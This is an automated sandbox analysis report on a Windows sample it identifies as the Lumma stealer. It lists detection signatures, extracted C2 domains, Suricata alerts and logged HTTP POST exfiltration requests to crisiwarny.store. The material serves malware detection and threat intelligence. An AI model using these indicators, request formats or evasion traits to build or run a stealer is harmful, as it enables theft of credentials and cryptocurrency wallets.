Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1543563
MD5:	0c381c2ec5177f64bed8da59eabe980c
SHA1:	8b75ce7c1cf0ec4fddb0f28ea04b233eb99efa76
SHA256:	e2bd2ba1f6d31950c1cb3da043adcfe1f90e67d2ceab30a420c61e7d4ca075c4
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for sample

PE file contains section with special chars

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Abnormal high CPU Usage

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Detected potential crypto function

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Searches for user specific document files

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 6632 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 0C381C2EC5177F64BED8DA59EABE980C)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["necklacedmny.store", "founpiuer.store", "thumbystriw.store", "crisiwarny.store", "fadehairucw.store", "scriptyprefej.store", "presticitpo.store", "navygenerayk.store"], "Build id": "4SD0y4--legendaryy"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000003.2677168084.0000000000A27000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2679820226.0000000000A40000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2660808413.00000000009EB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2660217541.0000000000A21000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2677527532.0000000000A37000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2662059685.00000000009EB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2512660665.00000000009EB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2514190355.00000000009EB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 6632	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: file.exe PID: 6632	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 6632	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 7 entries

Suricata Signatures

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-28T06:27:05.997386+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49704	172.67.170.64	443	TCP
2024-10-28T06:27:07.260031+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49705	172.67.170.64	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-28T06:27:05.997386+0100	2049836	1	A Network Trojan was detected	192.168.2.5	49704	172.67.170.64	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-28T06:27:07.260031+0100	2049812	1	A Network Trojan was detected	192.168.2.5	49705	172.67.170.64	443	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-28T06:27:49.370948+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.5	49706	172.67.170.64	443	TCP
2024-10-28T06:29:09.846637+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.5	49963	172.67.170.64	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Found malware configuration

Source: file.exe.6632.0.memstrmin

Malware Configuration Extractor: LummaC {"C2 url": ["necklacedmny.store", "founpiuer.store", "thumbystriw.store", "crisiwarny.store", "fadehairucw.store", "scriptyprefej.store", "presticitpo.store", "navygenerayk.store"], "Build id": "4SD0y4--legendaryy"}

Multi AV Scanner detection for domain / URL

Source: crisiwarny.store

Virustotal: Detection: 13%

Perma Link

Multi AV Scanner detection for submitted file

Source: file.exe	ReversingLabs: Detection: 44%
Source: file.exe	Virustotal: Detection: 49%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000000.00000002.3343026447.0000000000AD1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: scriptyprefej.store
Source: 00000000.00000002.3343026447.0000000000AD1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: navygenerayk.store
Source: 00000000.00000002.3343026447.0000000000AD1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: founpiuer.store
Source: 00000000.00000002.3343026447.0000000000AD1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: necklacedmny.store
Source: 00000000.00000002.3343026447.0000000000AD1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: thumbystriw.store
Source: 00000000.00000002.3343026447.0000000000AD1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: fadehairucw.store
Source: 00000000.00000002.3343026447.0000000000AD1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: crisiwarny.store
Source: 00000000.00000002.3343026447.0000000000AD1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: presticitpo.store
Source: 00000000.00000002.3343026447.0000000000AD1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: presticitpo.store
Source: 00000000.00000002.3343026447.0000000000AD1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000000.00000002.3343026447.0000000000AD1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000000.00000002.3343026447.0000000000AD1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: - Screen Resoluton:
Source: 00000000.00000002.3343026447.0000000000AD1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000000.00000002.3343026447.0000000000AD1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: Workgroup: -
Source: 00000000.00000002.3343026447.0000000000AD1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: 4SD0y4--legendaryy

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 172.67.170.64:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.170.64:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.170.64:443 -> 192.168.2.5:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.170.64:443 -> 192.168.2.5:49874 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.170.64:443 -> 192.168.2.5:49951 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.170.64:443 -> 192.168.2.5:49963 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.170.64:443 -> 192.168.2.5:49983 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.170.64:443 -> 192.168.2.5:49984 version: TLS 1.2

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:49705 -> 172.67.170.64:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49705 -> 172.67.170.64:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49704 -> 172.67.170.64:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49704 -> 172.67.170.64:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.5:49706 -> 172.67.170.64:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.5:49963 -> 172.67.170.64:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: necklacedmny.store
Source: Malware configuration extractor	URLs: founpiuer.store
Source: Malware configuration extractor	URLs: thumbystriw.store
Source: Malware configuration extractor	URLs: crisiwarny.store
Source: Malware configuration extractor	URLs: fadehairucw.store
Source: Malware configuration extractor	URLs: scriptyprefej.store
Source: Malware configuration extractor	URLs: presticitpo.store
Source: Malware configuration extractor	URLs: navygenerayk.store

Source: Joe Sandbox View

IP Address: 172.67.170.64 172.67.170.64

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: crisiwarny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 52Host: crisiwarny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12840Host: crisiwarny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15082Host: crisiwarny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20572Host: crisiwarny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1238Host: crisiwarny.store

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	DNS traffic detected: DNS query: presticitpo.store
Source: global traffic	DNS traffic detected: DNS query: crisiwarny.store

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: crisiwarny.store

Source: file.exe, 00000000.00000003.2660708991.000000000547D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: file.exe, 00000000.00000003.2660708991.000000000547D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: file.exe, 00000000.00000003.2660708991.000000000547D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: file.exe, 00000000.00000003.2660708991.000000000547D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: file.exe, 00000000.00000003.2660708991.000000000547D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: file.exe, 00000000.00000003.2660708991.000000000547D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: file.exe, 00000000.00000003.2660708991.000000000547D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: file.exe, 00000000.00000003.2660708991.000000000547D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: file.exe, 00000000.00000003.2660708991.000000000547D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: file.exe, 00000000.00000003.2660708991.000000000547D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: file.exe, 00000000.00000003.2660708991.000000000547D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: file.exe, 00000000.00000003.2090692694.00000000053AB000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2090865387.00000000053A8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2090766741.00000000053A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: file.exe, 00000000.00000003.2662059685.00000000009EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
Source: file.exe, 00000000.00000003.2662059685.00000000009EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
Source: file.exe, 00000000.00000003.2090692694.00000000053AB000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2090865387.00000000053A8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2090766741.00000000053A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.2090692694.00000000053AB000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2090865387.00000000053A8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2090766741.00000000053A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.2090692694.00000000053AB000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2090865387.00000000053A8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2090766741.00000000053A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: file.exe, 00000000.00000003.2662059685.00000000009EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, 00000000.00000003.2662059685.00000000009EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: file.exe, file.exe, 00000000.00000003.2089995572.0000000000A39000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.3341485133.0000000000A3C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.3334498980.0000000000A3C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2677168084.0000000000A27000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.3334498980.00000000009F9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2660217541.0000000000A21000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.3342585795.0000000000A3C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.3342585795.00000000009FB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2677527532.0000000000A37000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/
Source: file.exe, 00000000.00000003.2660217541.0000000000A21000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/6
Source: file.exe, 00000000.00000003.3334498980.0000000000A3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/Y
Source: file.exe, 00000000.00000003.3334498980.00000000009F9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2660217541.0000000000A21000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.3342585795.0000000000998000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2679895766.0000000000A3A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.3334462332.0000000000A46000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2677527532.0000000000A37000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2512660665.00000000009EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/api
Source: file.exe, 00000000.00000003.2660217541.0000000000A21000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/api)
Source: file.exe, 00000000.00000003.2512660665.00000000009EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/apiF
Source: file.exe, 00000000.00000003.3314699346.00000000009FB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2719595044.00000000009F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/apiT
Source: file.exe, 00000000.00000003.2512660665.00000000009EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/apint
Source: file.exe, 00000000.00000003.3334462332.0000000000A46000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/apire1
Source: file.exe, 00000000.00000003.2677168084.0000000000A27000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2719525841.0000000000A27000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.3314731310.0000000000A3B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2677527532.0000000000A37000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2719669042.0000000000A3A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/n
Source: file.exe, 00000000.00000003.3334498980.0000000000A3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/p
Source: file.exe, 00000000.00000003.2677168084.0000000000A27000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2677527532.0000000000A37000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/r
Source: file.exe, 00000000.00000002.3342585795.00000000009AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store:443/api
Source: file.exe, 00000000.00000002.3342585795.00000000009AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store:443/apihhhv.default-release/key4.dbPK
Source: file.exe, 00000000.00000003.2090692694.00000000053AB000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2090865387.00000000053A8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2090766741.00000000053A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.2090692694.00000000053AB000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2090865387.00000000053A8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2090766741.00000000053A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.2090692694.00000000053AB000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2090865387.00000000053A8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2090766741.00000000053A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: file.exe, 00000000.00000003.2662059685.00000000009EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: file.exe, 00000000.00000003.2661756651.000000000569A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: file.exe, 00000000.00000003.2661756651.000000000569A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: file.exe, 00000000.00000003.2662059685.00000000009EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
Source: file.exe, 00000000.00000003.2662059685.00000000009EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: file.exe, 00000000.00000003.2090692694.00000000053AB000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2090865387.00000000053A8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2090766741.00000000053A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 00000000.00000003.2090692694.00000000053AB000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2090865387.00000000053A8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2090766741.00000000053A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: file.exe, 00000000.00000003.2661756651.000000000569A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: file.exe, 00000000.00000003.2661756651.000000000569A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: file.exe, 00000000.00000003.2661756651.000000000569A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: file.exe, 00000000.00000003.2661756651.000000000569A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000003.2661756651.000000000569A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: file.exe, 00000000.00000003.2661756651.000000000569A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704

Source: unknown	HTTPS traffic detected: 172.67.170.64:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.170.64:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.170.64:443 -> 192.168.2.5:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.170.64:443 -> 192.168.2.5:49874 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.170.64:443 -> 192.168.2.5:49951 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.170.64:443 -> 192.168.2.5:49963 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.170.64:443 -> 192.168.2.5:49983 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.170.64:443 -> 192.168.2.5:49984 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata

Source: C:\Users\user\Desktop\file.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00A28EC8	0_3_00A28EC8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_009F3EB1	0_3_009F3EB1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_009F3EB1	0_3_009F3EB1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_009F3EB1	0_3_009F3EB1
